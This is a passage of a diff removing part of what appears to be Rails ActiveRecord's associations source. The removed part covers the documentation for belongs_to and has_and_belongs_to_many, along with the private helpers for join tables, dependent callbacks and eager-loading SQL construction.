-      #   Specify this association is a polymorphic association by passing +true+.
-      #   Note: If you've enabled the counter cache, then you may want to add the counter cache attribute
-      #   to the +attr_readonly+ list in the associated classes (e.g. <tt>class Post; attr_readonly :comments_count; end</tt>).
-      # [:readonly]
-      #   If true, the associated object is readonly through the association.
-      # [:validate]
-      #   If false, don't validate the associated objects when saving the parent object. +false+ by default.
-      # [:autosave]
-      #   If true, always save the associated object or destroy it if marked for destruction, when saving the parent object. Off by default.
-      # [:touch]
-      #   If true, the associated object will be touched (the updated_at/on attributes set to now) when this record is either saved or
-      #   destroyed. If you specify a symbol, that attribute will be updated with the current time instead of the updated_at/on attribute.
-      #
-      # Option examples:
-      #   belongs_to :firm, :foreign_key => "client_of"
-      #   belongs_to :person, :primary_key => "name", :foreign_key => "person_name"
-      #   belongs_to :author, :class_name => "Person", :foreign_key => "author_id"
-      #   belongs_to :valid_coupon, :class_name => "Coupon", :foreign_key => "coupon_id",
-      #              :conditions => 'discounts > #{payments_count}'
-      #   belongs_to :attachable, :polymorphic => true
-      #   belongs_to :project, :readonly => true
-      #   belongs_to :post, :counter_cache => true
-      #   belongs_to :company, :touch => true
-      #   belongs_to :company, :touch => :employees_last_updated_at
-      def belongs_to(association_id, options = {})
-        reflection = create_belongs_to_reflection(association_id, options)
-
-        if reflection.options[:polymorphic]
-          association_accessor_methods(reflection, BelongsToPolymorphicAssociation)
-        else
-          association_accessor_methods(reflection, BelongsToAssociation)
-          association_constructor_method(:build,  reflection, BelongsToAssociation)
-          association_constructor_method(:create, reflection, BelongsToAssociation)
-        end
-
-        add_counter_cache_callbacks(reflection)          if options[:counter_cache]
-        add_touch_callbacks(reflection, options[:touch]) if options[:touch]
-
-        configure_dependency_for_belongs_to(reflection)
-      end
-
-      # Specifies a many-to-many relationship with another class. This associates two classes via an
-      # intermediate join table.  Unless the join table is explicitly specified as an option, it is
-      # guessed using the lexical order of the class names. So a join between Developer and Project
-      # will give the default join table name of "developers_projects" because "D" outranks "P".  Note that this precedence
-      # is calculated using the <tt><</tt> operator for String.  This means that if the strings are of different lengths,
-      # and the strings are equal when compared up to the shortest length, then the longer string is considered of higher
-      # lexical precedence than the shorter one.  For example, one would expect the tables "paper_boxes" and "papers"
-      # to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes",
-      # but it in fact generates a join table name of "paper_boxes_papers".  Be aware of this caveat, and use the
-      # custom <tt>:join_table</tt> option if you need to.
-      #
-      # The join table should not have a primary key or a model associated with it. You must manually generate the
-      # join table with a migration such as this:
-      #
-      #   class CreateDevelopersProjectsJoinTable < ActiveRecord::Migration
-      #     def self.up
-      #       create_table :developers_projects, :id => false do |t|
-      #         t.integer :developer_id
-      #         t.integer :project_id
-      #       end
-      #     end
-      #
-      #     def self.down
-      #       drop_table :developers_projects
-      #     end
-      #   end
-      #
-      # Deprecated: Any additional fields added to the join table will be placed as attributes when pulling records out through
-      # +has_and_belongs_to_many+ associations. Records returned from join tables with additional attributes will be marked as
-      # readonly (because we can't save changes to the additional attributes). It's strongly recommended that you upgrade any
-      # associations with attributes to a real join model (see introduction).
-      #
-      # Adds the following methods for retrieval and query:
-      #
-      # [collection(force_reload = false)]
-      #   Returns an array of all the associated objects.
-      #   An empty array is returned if none are found.
-      # [collection<<(object, ...)]
-      #   Adds one or more objects to the collection by creating associations in the join table
-      #   (<tt>collection.push</tt> and <tt>collection.concat</tt> are aliases to this method).
-      # [collection.delete(object, ...)]
-      #   Removes one or more objects from the collection by removing their associations from the join table.
-      #   This does not destroy the objects.
-      # [collection=objects]
-      #   Replaces the collection's content by deleting and adding objects as appropriate.
-      # [collection_singular_ids]
-      #   Returns an array of the associated objects' ids.
-      # [collection_singular_ids=ids]
-      #   Replace the collection by the objects identified by the primary keys in +ids+.
-      # [collection.clear]
-      #   Removes every object from the collection. This does not destroy the objects.
-      # [collection.empty?]
-      #   Returns +true+ if there are no associated objects.
-      # [collection.size]
-      #   Returns the number of associated objects.
-      # [collection.find(id)]
-      #   Finds an associated object responding to the +id+ and that
-      #   meets the condition that it has to be associated with this object.
-      #   Uses the same rules as ActiveRecord::Base.find.
-      # [collection.exists?(...)]
-      #   Checks whether an associated object with the given conditions exists.
-      #   Uses the same rules as ActiveRecord::Base.exists?.
-      # [collection.build(attributes = {})]
-      #   Returns a new object of the collection type that has been instantiated
-      #   with +attributes+ and linked to this object through the join table, but has not yet been saved.
-      # [collection.create(attributes = {})]
-      #   Returns a new object of the collection type that has been instantiated
-      #   with +attributes+, linked to this object through the join table, and that has already been saved (if it passed the validation).
-      #
-      # (+collection+ is replaced with the symbol passed as the first argument, so
-      # <tt>has_and_belongs_to_many :categories</tt> would add among others <tt>categories.empty?</tt>.)
-      #
-      # === Example
-      #
-      # A Developer class declares <tt>has_and_belongs_to_many :projects</tt>, which will add:
-      # * <tt>Developer#projects</tt>
-      # * <tt>Developer#projects<<</tt>
-      # * <tt>Developer#projects.delete</tt>
-      # * <tt>Developer#projects=</tt>
-      # * <tt>Developer#project_ids</tt>
-      # * <tt>Developer#project_ids=</tt>
-      # * <tt>Developer#projects.clear</tt>
-      # * <tt>Developer#projects.empty?</tt>
-      # * <tt>Developer#projects.size</tt>
-      # * <tt>Developer#projects.find(id)</tt>
-      # * <tt>Developer#clients.exists?(...)</tt>
-      # * <tt>Developer#projects.build</tt> (similar to <tt>Project.new("project_id" => id)</tt>)
-      # * <tt>Developer#projects.create</tt> (similar to <tt>c = Project.new("project_id" => id); c.save; c</tt>)
-      # The declaration may include an options hash to specialize the behavior of the association.
-      #
-      # === Options
-      #
-      # [:class_name]
-      #   Specify the class name of the association. Use it only if that name can't be inferred
-      #   from the association name. So <tt>has_and_belongs_to_many :projects</tt> will by default be linked to the
-      #   Project class, but if the real class name is SuperProject, you'll have to specify it with this option.
-      # [:join_table]
-      #   Specify the name of the join table if the default based on lexical order isn't what you want.
-      #   <b>WARNING:</b> If you're overwriting the table name of either class, the +table_name+ method
-      #   MUST be declared underneath any +has_and_belongs_to_many+ declaration in order to work.
-      # [:foreign_key]
-      #   Specify the foreign key used for the association. By default this is guessed to be the name
-      #   of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_and_belongs_to_many+ association
-      #   to Project will use "person_id" as the default <tt>:foreign_key</tt>.
-      # [:association_foreign_key]
-      #   Specify the foreign key used for the association on the receiving side of the association.
-      #   By default this is guessed to be the name of the associated class in lower-case and "_id" suffixed.
-      #   So if a Person class makes a +has_and_belongs_to_many+ association to Project,
-      #   the association will use "project_id" as the default <tt>:association_foreign_key</tt>.
-      # [:conditions]
-      #   Specify the conditions that the associated object must meet in order to be included as a +WHERE+
-      #   SQL fragment, such as <tt>authorized = 1</tt>.  Record creations from the association are scoped if a hash is used.  
-      #   <tt>has_many :posts, :conditions => {:published => true}</tt> will create published posts with <tt>@blog.posts.create</tt> 
-      #   or <tt>@blog.posts.build</tt>.
-      # [:order]
-      #   Specify the order in which the associated objects are returned as an <tt>ORDER BY</tt> SQL fragment,
-      #   such as <tt>last_name, first_name DESC</tt>
-      # [:uniq]
-      #   If true, duplicate associated objects will be ignored by accessors and query methods.
-      # [:finder_sql]
-      #   Overwrite the default generated SQL statement used to fetch the association with a manual statement
-      # [:counter_sql]
-      #   Specify a complete SQL statement to fetch the size of the association. If <tt>:finder_sql</tt> is
-      #   specified but not <tt>:counter_sql</tt>, <tt>:counter_sql</tt> will be generated by replacing <tt>SELECT ... FROM</tt> with <tt>SELECT COUNT(*) FROM</tt>.
-      # [:delete_sql]
-      #   Overwrite the default generated SQL statement used to remove links between the associated
-      #   classes with a manual statement.
-      # [:insert_sql]
-      #   Overwrite the default generated SQL statement used to add links between the associated classes
-      #   with a manual statement.
-      # [:extend]
-      #   Anonymous module for extending the proxy, see "Association extensions".
-      # [:include]
-      #   Specify second-order associations that should be eager loaded when the collection is loaded.
-      # [:group]
-      #   An attribute name by which the result should be grouped. Uses the <tt>GROUP BY</tt> SQL-clause.
-      # [:having]
-      #   Combined with +:group+ this can be used to filter the records that a <tt>GROUP BY</tt> returns. Uses the <tt>HAVING</tt> SQL-clause.
-      # [:limit]
-      #   An integer determining the limit on the number of rows that should be returned.
-      # [:offset]
-      #   An integer determining the offset from where the rows should be fetched. So at 5, it would skip the first 4 rows.
-      # [:select]
-      #   By default, this is <tt>*</tt> as in <tt>SELECT * FROM</tt>, but can be changed if, for example, you want to do a join
-      #   but not include the joined columns. Do not forget to include the primary and foreign keys, otherwise it will raise an error.
-      # [:readonly]
-      #   If true, all the associated objects are readonly through the association.
-      # [:validate]
-      #   If false, don't validate the associated objects when saving the parent object. +true+ by default.
-      # [:autosave]
-      #   If true, always save any loaded members and destroy members marked for destruction, when saving the parent object. Off by default.
-      #
-      # Option examples:
-      #   has_and_belongs_to_many :projects
-      #   has_and_belongs_to_many :projects, :include => [ :milestones, :manager ]
-      #   has_and_belongs_to_many :nations, :class_name => "Country"
-      #   has_and_belongs_to_many :categories, :join_table => "prods_cats"
-      #   has_and_belongs_to_many :categories, :readonly => true
-      #   has_and_belongs_to_many :active_projects, :join_table => 'developers_projects', :delete_sql =>
-      #   'DELETE FROM developers_projects WHERE active=1 AND developer_id = #{id} AND project_id = #{record.id}'
-      def has_and_belongs_to_many(association_id, options = {}, &extension)
-        reflection = create_has_and_belongs_to_many_reflection(association_id, options, &extension)
-        collection_accessor_methods(reflection, HasAndBelongsToManyAssociation)
-
-        # Don't use a before_destroy callback since users' before_destroy
-        # callbacks will be executed after the association is wiped out.
-        old_method = "destroy_without_habtm_shim_for_#{reflection.name}"
-        class_eval <<-end_eval unless method_defined?(old_method)
-          alias_method :#{old_method}, :destroy_without_callbacks  # alias_method :destroy_without_habtm_shim_for_posts, :destroy_without_callbacks
-          def destroy_without_callbacks                            # def destroy_without_callbacks
-            #{reflection.name}.clear                               #   posts.clear
-            #{old_method}                                          #   destroy_without_habtm_shim_for_posts
-          end                                                      # end
-        end_eval
-
-        add_association_callbacks(reflection.name, options)
-      end
-
-      private
-        # Generates a join table name from two provided table names.
-        # The names in the join table namesme end up in lexicographic order.
-        #
-        #   join_table_name("members", "clubs")         # => "clubs_members"
-        #   join_table_name("members", "special_clubs") # => "members_special_clubs"
-        def join_table_name(first_table_name, second_table_name)
-          if first_table_name < second_table_name
-            join_table = "#{first_table_name}_#{second_table_name}"
-          else
-            join_table = "#{second_table_name}_#{first_table_name}"
-          end
-
-          table_name_prefix + join_table + table_name_suffix
-        end
-
-        def association_accessor_methods(reflection, association_proxy_class)
-          define_method(reflection.name) do |*params|
-            force_reload = params.first unless params.empty?
-            association = association_instance_get(reflection.name)
-
-            if association.nil? || force_reload
-              association = association_proxy_class.new(self, reflection)
-              retval = force_reload ? reflection.klass.uncached { association.reload } : association.reload
-              if retval.nil? and association_proxy_class == BelongsToAssociation
-                association_instance_set(reflection.name, nil)
-                return nil
-              end
-              association_instance_set(reflection.name, association)
-            end
-
-            association.target.nil? ? nil : association
-          end
-
-          define_method("loaded_#{reflection.name}?") do
-            association = association_instance_get(reflection.name)
-            association && association.loaded?
-          end
-
-          define_method("#{reflection.name}=") do |new_value|
-            association = association_instance_get(reflection.name)
-
-            if association.nil? || association.target != new_value
-              association = association_proxy_class.new(self, reflection)
-            end
-
-            if association_proxy_class == HasOneThroughAssociation
-              association.create_through_record(new_value)
-              if new_record?
-                association_instance_set(reflection.name, new_value.nil? ? nil : association)
-              else
-                self.send(reflection.name, new_value)
-              end
-            else
-              association.replace(new_value)
-              association_instance_set(reflection.name, new_value.nil? ? nil : association)
-            end
-          end
-
-          define_method("set_#{reflection.name}_target") do |target|
-            return if target.nil? and association_proxy_class == BelongsToAssociation
-            association = association_proxy_class.new(self, reflection)
-            association.target = target
-            association_instance_set(reflection.name, association)
-          end
-        end
-
-        def collection_reader_method(reflection, association_proxy_class)
-          define_method(reflection.name) do |*params|
-            force_reload = params.first unless params.empty?
-            association = association_instance_get(reflection.name)
-
-            unless association
-              association = association_proxy_class.new(self, reflection)
-              association_instance_set(reflection.name, association)
-            end
-
-            reflection.klass.uncached { association.reload } if force_reload
-
-            association
-          end
-
-          define_method("#{reflection.name.to_s.singularize}_ids") do
-            if send(reflection.name).loaded? || reflection.options[:finder_sql]
-              send(reflection.name).map(&:id)
-            else
-              send(reflection.name).all(:select => "#{reflection.quoted_table_name}.#{reflection.klass.primary_key}").map(&:id)
-            end
-          end
-        end
-
-        def collection_accessor_methods(reflection, association_proxy_class, writer = true)
-          collection_reader_method(reflection, association_proxy_class)
-
-          if writer
-            define_method("#{reflection.name}=") do |new_value|
-              # Loads proxy class instance (defined in collection_reader_method) if not already loaded
-              association = send(reflection.name)
-              association.replace(new_value)
-              association
-            end
-
-            define_method("#{reflection.name.to_s.singularize}_ids=") do |new_value|
-              ids = (new_value || []).reject { |nid| nid.blank? }.map(&:to_i)
-              send("#{reflection.name}=", reflection.klass.find(ids).index_by(&:id).values_at(*ids))
-            end
-          end
-        end
-
-        def association_constructor_method(constructor, reflection, association_proxy_class)
-          define_method("#{constructor}_#{reflection.name}") do |*params|
-            attributees      = params.first unless params.empty?
-            replace_existing = params[1].nil? ? true : params[1]
-            association      = association_instance_get(reflection.name)
-
-            unless association
-              association = association_proxy_class.new(self, reflection)
-              association_instance_set(reflection.name, association)
-            end
-
-            if association_proxy_class == HasOneAssociation
-              association.send(constructor, attributees, replace_existing)
-            else
-              association.send(constructor, attributees)
-            end
-          end
-        end
-
-        def add_counter_cache_callbacks(reflection)
-          cache_column = reflection.counter_cache_column
-
-          method_name = "belongs_to_counter_cache_after_create_for_#{reflection.name}".to_sym
-          define_method(method_name) do
-            association = send(reflection.name)
-            association.class.increment_counter(cache_column, association.id) unless association.nil?
-          end
-          after_create(method_name)
-
-          method_name = "belongs_to_counter_cache_before_destroy_for_#{reflection.name}".to_sym
-          define_method(method_name) do
-            association = send(reflection.name)
-            association.class.decrement_counter(cache_column, association.id) unless association.nil?
-          end
-          before_destroy(method_name)
-
-          module_eval(
-            "#{reflection.class_name}.send(:attr_readonly,\"#{cache_column}\".intern) if defined?(#{reflection.class_name}) && #{reflection.class_name}.respond_to?(:attr_readonly)"
-          )
-        end
-        
-        def add_touch_callbacks(reflection, touch_attribute)
-          method_name = "belongs_to_touch_after_save_or_destroy_for_#{reflection.name}".to_sym
-          define_method(method_name) do
-            association = send(reflection.name)
-            
-            if touch_attribute == true
-              association.touch unless association.nil?
-            else
-              association.touch(touch_attribute) unless association.nil?
-            end
-          end
-          after_save(method_name)
-          after_destroy(method_name)
-        end
-
-        def find_with_associations(options = {})
-          catch :invalid_query do
-            join_dependency = JoinDependency.new(self, merge_includes(scope(:find, :include), options[:include]), options[:joins])
-            rows = select_all_rows(options, join_dependency)
-            return join_dependency.instantiate(rows)
-          end
-          []
-        end
-
-        # Creates before_destroy callback methods that nullify, delete or destroy
-        # has_many associated objects, according to the defined :dependent rule.
-        #
-        # See HasManyAssociation#delete_records.  Dependent associations
-        # delete children, otherwise foreign key is set to NULL.
-        #
-        # The +extra_conditions+ parameter, which is not used within the main
-        # Active Record codebase, is meant to allow plugins to define extra
-        # finder conditions.
-        def configure_dependency_for_has_many(reflection, extra_conditions = nil)
-          if reflection.options.include?(:dependent)
-            case reflection.options[:dependent]
-              when :destroy
-                method_name = "has_many_dependent_destroy_for_#{reflection.name}".to_sym
-                define_method(method_name) do
-                  send(reflection.name).each do |o|
-                    # No point in executing the counter update since we're going to destroy the parent anyway
-                    counter_method = ('belongs_to_counter_cache_before_destroy_for_' + self.class.name.downcase).to_sym
-                    if(o.respond_to? counter_method) then
-                      class << o
-                        self
-                      end.send(:define_method, counter_method, Proc.new {})
-                    end
-                    o.destroy
-                  end
-                end
-                before_destroy method_name
-              when :delete_all
-                before_destroy do |record|
-                  record.class.send(:delete_all_has_many_dependencies,
-                  record,
-                  reflection.name,
-                  reflection.klass,
-                  reflection.dependent_conditions(record, record.class, extra_conditions))
-                end
-              when :nullify
-                before_destroy do |record|
-                  record.class.send(:nullify_has_many_dependencies,
-                  record,
-                  reflection.name,
-                  reflection.klass,
-                  reflection.primary_key_name,
-                  reflection.dependent_conditions(record, record.class, extra_conditions))
-                end
-              else
-                raise ArgumentError, "The :dependent option expects either :destroy, :delete_all, or :nullify (#{reflection.options[:dependent].inspect})"
-            end
-          end
-        end
-
-        # Creates before_destroy callback methods that nullify, delete or destroy
-        # has_one associated objects, according to the defined :dependent rule.
-        def configure_dependency_for_has_one(reflection)
-          if reflection.options.include?(:dependent)
-            case reflection.options[:dependent]
-              when :destroy
-                method_name = "has_one_dependent_destroy_for_#{reflection.name}".to_sym
-                define_method(method_name) do
-                  association = send(reflection.name)
-                  association.destroy unless association.nil?
-                end
-                before_destroy method_name
-              when :delete
-                method_name = "has_one_dependent_delete_for_#{reflection.name}".to_sym
-                define_method(method_name) do
-                  # Retrieve the associated object and delete it. The retrieval
-                  # is necessary because there may be multiple associated objects
-                  # with foreign keys pointing to this object, and we only want
-                  # to delete the correct one, not all of them.
-                  association = send(reflection.name)
-                  association.delete unless association.nil?
-                end
-                before_destroy method_name
-              when :nullify
-                method_name = "has_one_dependent_nullify_for_#{reflection.name}".to_sym
-                define_method(method_name) do
-                  association = send(reflection.name)
-                  association.update_attribute(reflection.primary_key_name, nil) unless association.nil?
-                end
-                before_destroy method_name
-              else
-                raise ArgumentError, "The :dependent option expects either :destroy, :delete or :nullify (#{reflection.options[:dependent].inspect})"
-            end
-          end
-        end
-
-        def configure_dependency_for_belongs_to(reflection)
-          if reflection.options.include?(:dependent)
-            case reflection.options[:dependent]
-              when :destroy
-                method_name = "belongs_to_dependent_destroy_for_#{reflection.name}".to_sym
-                define_method(method_name) do
-                  association = send(reflection.name)
-                  association.destroy unless association.nil?
-                end
-                after_destroy method_name
-              when :delete
-                method_name = "belongs_to_dependent_delete_for_#{reflection.name}".to_sym
-                define_method(method_name) do
-                  association = send(reflection.name)
-                  association.delete unless association.nil?
-                end
-                after_destroy method_name
-              else
-                raise ArgumentError, "The :dependent option expects either :destroy or :delete (#{reflection.options[:dependent].inspect})"
-            end
-          end
-        end
-
-        def delete_all_has_many_dependencies(record, reflection_name, association_class, dependent_conditions)
-          association_class.delete_all(dependent_conditions)
-        end
-
-        def nullify_has_many_dependencies(record, reflection_name, association_class, primary_key_name, dependent_conditions)
-          association_class.update_all("#{primary_key_name} = NULL", dependent_conditions)
-        end
-
-        mattr_accessor :valid_keys_for_has_many_association
-        @@valid_keys_for_has_many_association = [
-          :class_name, :table_name, :foreign_key, :primary_key,
-          :dependent,
-          :select, :conditions, :include, :order, :group, :having, :limit, :offset,
-          :as, :through, :source, :source_type,
-          :uniq,
-          :finder_sql, :counter_sql,
-          :before_add, :after_add, :before_remove, :after_remove,
-          :extend, :readonly,
-          :validate, :inverse_of
-        ]
-
-        def create_has_many_reflection(association_id, options, &extension)
-          options.assert_valid_keys(valid_keys_for_has_many_association)
-          options[:extend] = create_extension_modules(association_id, extension, options[:extend])
-
-          create_reflection(:has_many, association_id, options, self)
-        end
-
-        mattr_accessor :valid_keys_for_has_one_association
-        @@valid_keys_for_has_one_association = [
-          :class_name, :foreign_key, :remote, :select, :conditions, :order,
-          :include, :dependent, :counter_cache, :extend, :as, :readonly,
-          :validate, :primary_key, :inverse_of
-        ]
-
-        def create_has_one_reflection(association_id, options)
-          options.assert_valid_keys(valid_keys_for_has_one_association)
-          create_reflection(:has_one, association_id, options, self)
-        end
-
-        def create_has_one_through_reflection(association_id, options)
-          options.assert_valid_keys(
-            :class_name, :foreign_key, :remote, :select, :conditions, :order, :include, :dependent, :counter_cache, :extend, :as, :through, :source, :source_type, :validate
-          )
-          create_reflection(:has_one, association_id, options, self)
-        end
-
-        mattr_accessor :valid_keys_for_belongs_to_association
-        @@valid_keys_for_belongs_to_association = [
-          :class_name, :primary_key, :foreign_key, :foreign_type, :remote, :select, :conditions,
-          :include, :dependent, :counter_cache, :extend, :polymorphic, :readonly,
-          :validate, :touch, :inverse_of
-        ]
-
-        def create_belongs_to_reflection(association_id, options)
-          options.assert_valid_keys(valid_keys_for_belongs_to_association)
-          reflection = create_reflection(:belongs_to, association_id, options, self)
-
-          if options[:polymorphic]
-            reflection.options[:foreign_type] ||= reflection.class_name.underscore + "_type"
-          end
-
-          reflection
-        end
-
-        mattr_accessor :valid_keys_for_has_and_belongs_to_many_association
-        @@valid_keys_for_has_and_belongs_to_many_association = [
-          :class_name, :table_name, :join_table, :foreign_key, :association_foreign_key,
-          :select, :conditions, :include, :order, :group, :having, :limit, :offset,
-          :uniq,
-          :finder_sql, :counter_sql, :delete_sql, :insert_sql,
-          :before_add, :after_add, :before_remove, :after_remove,
-          :extend, :readonly,
-          :validate
-        ]
-
-        def create_has_and_belongs_to_many_reflection(association_id, options, &extension)
-          options.assert_valid_keys(valid_keys_for_has_and_belongs_to_many_association)
-
-          options[:extend] = create_extension_modules(association_id, extension, options[:extend])
-
-          reflection = create_reflection(:has_and_belongs_to_many, association_id, options, self)
-          
-          if reflection.association_foreign_key == reflection.primary_key_name
-            raise HasAndBelongsToManyAssociationForeignKeyNeeded.new(reflection)
-          end
-
-          reflection.options[:join_table] ||= join_table_name(undecorated_table_name(self.to_s), undecorated_table_name(reflection.class_name))
-
-          reflection
-        end
-
-        def reflect_on_included_associations(associations)
-          [ associations ].flatten.collect { |association| reflect_on_association(association.to_s.intern) }
-        end
-
-        def guard_against_unlimitable_reflections(reflections, options)
-          if (options[:offset] || options[:limit]) && !using_limitable_reflections?(reflections)
-            raise(
-              ConfigurationError,
-              "You can not use offset and limit together with has_many or has_and_belongs_to_many associations"
-            )
-          end
-        end
-
-        def select_all_rows(options, join_dependency)
-          connection.select_all(
-            construct_finder_sql_with_included_associations(options, join_dependency),
-            "#{name} Load Including Associations"
-          )
-        end
-
-        def construct_finder_sql_with_included_associations(options, join_dependency)
-          scope = scope(:find)
-          sql = "SELECT #{column_aliases(join_dependency)} FROM #{(scope && scope[:from]) || options[:from] || quoted_table_name} "
-          sql << join_dependency.join_associations.collect{|join| join.association_join }.join
-
-          add_joins!(sql, options[:joins], scope)
-          add_conditions!(sql, options[:conditions], scope)
-          add_limited_ids_condition!(sql, options, join_dependency) if !using_limitable_reflections?(join_dependency.reflections) && ((scope && scope[:limit]) || options[:limit])
-
-          add_group!(sql, options[:group], options[:having], scope)
-          add_order!(sql, options[:order], scope)
-          add_limit!(sql, options, scope) if using_limitable_reflections?(join_dependency.reflections)
-          add_lock!(sql, options, scope)
-
-          return sanitize_sql(sql)
-        end
-
-        def add_limited_ids_condition!(sql, options, join_dependency)
-          unless (id_list = select_limited_ids_list(options, join_dependency)).empty?
-            sql << "#{condition_word(sql)} #{connection.quote_table_name table_name}.#{primary_key} IN (#{id_list}) "
-          else
-            throw :invalid_query
-          end
-        end
-
-        def select_limited_ids_list(options, join_dependency)
-          pk = columns_hash[primary_key]
-
-          connection.select_all(
-            construct_finder_sql_for_association_limiting(options, join_dependency),
-            "#{name} Load IDs For Limited Eager Loading"
-          ).collect { |row| connection.quote(row[primary_key], pk) }.join(", ")
-        end
-
-        def construct_finder_sql_for_association_limiting(options, join_dependency)
-          scope       = scope(:find)
-
-          # Only join tables referenced in order or conditions since this is particularly slow on the pre-query.
-          tables_from_conditions = conditions_tables(options)
-          tables_from_order      = order_tables(options)
-          all_tables             = tables_from_conditions + tables_from_order
-          distinct_join_associations = all_tables.uniq.map{|table|
-            join_dependency.joins_for_table_name(table)
-          }.flatten.compact.uniq
-
-          order = options[:order]
-          if scoped_order = (scope && scope[:order])
-            order = order ? "#{order}, #{scoped_order}" : scoped_order
-          end
-
-          is_distinct = !options[:joins].blank? || include_eager_conditions?(options, tables_from_conditions) || include_eager_order?(options, tables_from_order)
-          sql = "SELECT "
-          if is_distinct
-            sql << connection.distinct("#{connection.quote_table_name table_name}.#{primary_key}", order)
-          else
-            sql << primary_key
-          end
-          sql << " FROM #{connection.quote_table_name table_name} "
-
-          if is_distinct
-            sql << distinct_join_associations.collect { |assoc| assoc.association_join }.join
-            add_joins!(sql, options[:joins], scope)
-          end
-
-          add_conditions!(sql, options[:conditions], scope)
-          add_group!(sql, options[:group], options[:having], scope)
-
-          if order && is_distinct
-            connection.add_order_by_for_association_limiting!(sql, :order => order)
-          else
-            add_order!(sql, options[:order], scope)
-          end
-
-          add_limit!(sql, options, scope)
-
-          return sanitize_sql(sql)
-        end
-
-        def tables_in_string(string)
-          return [] if string.blank?
-          string.scan(/([\.a-zA-Z_]+).?\./).flatten
-        end
-
-        def tables_in_hash(hash)
-          return [] if hash.blank?
-          tables = hash.map do |key, value|
-            if value.is_a?(Hash)
-              key.to_s
-            else
-              tables_in_string(key) if key.is_a?(String)
-            end
-          end
-          tables.flatten.compact
-        end
-
-        def conditions_tables(options)
-          # look in both sets of conditions
-          conditions = [scope(:find, :conditions), options[:conditions]].inject([]) do |all, cond|
-            case cond
-              when nil   then all
-              when Array then all << tables_in_string(cond.first)
-              when Hash  then all << tables_in_hash(cond)
-              else            all << tables_in_string(cond)
-            end
-          end
-          conditions.flatten
-        end
-
-        def order_tables(options)
-          order = [options[:order], scope(:find, :order) ].join(", ")
-          return [] unless order && order.is_a?(String)
-          tables_in_string(order)
-        end
-
-        def selects_tables(options)
-          select = options[:select]
-          return [] unless select && select.is_a?(String)
-          tables_in_string(select)
-        end
-
-        def joined_tables(options)
-          scope = scope(:find)
-          joins = options[:joins]
-          merged_joins = scope && scope[:joins] && joins ? merge_joins(scope[:joins], joins) : (joins || scope && scope[:joins])
-          [table_name] + case merged_joins
-          when Symbol, Hash, Array
-            if array_of_strings?(merged_joins)
-              tables_in_string(merged_joins.join(' '))
-            else
-              join_dependency = ActiveRecord::Associations::ClassMethods::InnerJoinDependency.new(self, merged_joins, nil)
-              join_dependency.join_associations.collect {|join_association| [join_association.aliased_join_table_name, join_association.aliased_table_name]}.flatten.compact
-            end
-          else
-            tables_in_string(merged_joins)
-          end
-        end
-
-        # Checks if the conditions reference a table other than the current model table
-        def include_eager_conditions?(options, tables = nil, joined_tables = nil)
-          ((tables || conditions_tables(options)) - (joined_tables || joined_tables(options))).any?
-        end
-
-        # Checks if the query order references a table other than the current model's table.
-        def include_eager_order?(options, tables = nil, joined_tables = nil)
-          ((tables || order_tables(options)) - (joined_tables || joined_tables(options))).any?
-        end
-
-        def include_eager_select?(options, joined_tables = nil)
-          (selects_tables(options) - (joined_tables || joined_tables(options))).any?
-        end
-
-        def references_eager_loaded_tables?(options)
-          joined_tables = joined_tables(options)
-          include_eager_order?(options, nil, joined_tables) || include_eager_conditions?(options, nil, joined_tables) || include_eager_select?(options, joined_tables)
-        end
-
-        def using_limitable_reflections?(reflections)
-          reflections.none?(&:collection?)
-        end
-
-        def column_aliases(join_dependency)
-          join_dependency.joins.collect{|join| join.column_names_with_alias.collect{|column_name, aliased_name|
-              "#{connection.quote_table_name join.aliased_table_name}.#{connection.quote_column_name column_name} AS #{aliased_name}"}}.flatten.join(", ")
-        end
-
-        def add_association_callbacks(association_name, options)
-          callbacks = %w(before_add after_add before_remove after_remove)
-          callbacks.each do |callback_name|
-            full_callback_name = "#{callback_name}_for_#{association_name}"
-            defined_callbacks = options[callback_name.to_sym]
-            if options.has_key?(callback_name.to_sym)
-              class_inheritable_reader full_callback_name.to_sym
-              write_inheritable_attribute(full_callback_name.to_sym, [defined_callbacks].flatten)
-            else
-              write_inheritable_attribute(full_callback_name.to_sym, [])
-            end
-          end
-        end
-
-        def condition_word(sql)
-          sql =~ /where/i ? " AND " : "WHERE "
-        end
-
-        def create_extension_modules(association_id, block_extension, extensions)
-          if block_extension
-            extension_module_name = "#{self.to_s.demodulize}#{association_id.to_s.camelize}AssociationExtension"
-
-            silence_warnings do
-              self.parent.const_set(extension_module_name, Module.new(&block_extension))
-            end
-            Array(extensions).push("#{self.parent}::#{extension_module_name}".constantize)
-          else
-            Array(extensions)
-          end
-        end
-
-        class JoinDependency # :nodoc:
-          attr_reader :joins, :reflections, :table_aliases
-
-          def initialize(base, associations, joins)
-            @joins                 = [JoinBase.new(base, joins)]
-            @associations          = associations
-            @reflections           = []
-            @base_records_hash     = {}
-            @base_records_in_order = []
-            @table_aliases         = Hash.new { |aliases, table| aliases[table] = 0 }
-            @table_aliases[base.table_name] = 1
-            build(associations)
-          end
-
-          def join_associations
-            @joins[1..-1].to_a
-          end
-
-          def join_base
-            @joins[0]
-          end
-
-          def instantiate(rows)
-            rows.each_with_index do |row, i|
-              primary_id = join_base.record_id(row)
-              unless @base_records_hash[primary_id]
-                @base_records_in_order << (@base_records_hash[primary_id] = join_base.instantiate(row))
-              end
-              construct(@base_records_hash[primary_id], @associations, join_associations.dup, row)
-            end
-            remove_duplicate_results!(join_base.active_record, @base_records_in_order, @associations)
-            return @base_records_in_order
-          end
-
-          def remove_duplicate_results!(base, records, associations)
-            case associations
-              when Symbol, String
-                reflection = base.reflections[associations]
-                if reflection && reflection.collection?
-                  records.each { |record| record.send(reflection.name).target.uniq! }
-                end
-              when Array
-                associations.each do |association|
-                  remove_duplicate_results!(base, records, association)
-                end
-              when Hash
-                associations.keys.each do |name|
-                  reflection = base.reflections[name]
-
-                  parent_records = records.map do |record|
-                    descendant = record.send(reflection.name)
-                    next unless descendant
-                    descendant.target.uniq! if reflection.collection?
-                    descendant
-                  end.flatten.compact
-
-                  remove_duplicate_results!(reflection.klass, parent_records, associations[name]) unless parent_records.empty?
-                end
-            end
-          end
-
-          def join_for_table_name(table_name)
-            join = (@joins.select{|j|j.aliased_table_name == table_name.gsub(/^\"(.*)\"$/){$1} }.first) rescue nil
-            return join unless join.nil?
-            @joins.select{|j|j.is_a?(JoinAssociation) && j.aliased_join_table_name == table_name.gsub(/^\"(.*)\"$/){$1} }.first rescue nil
-          end
-
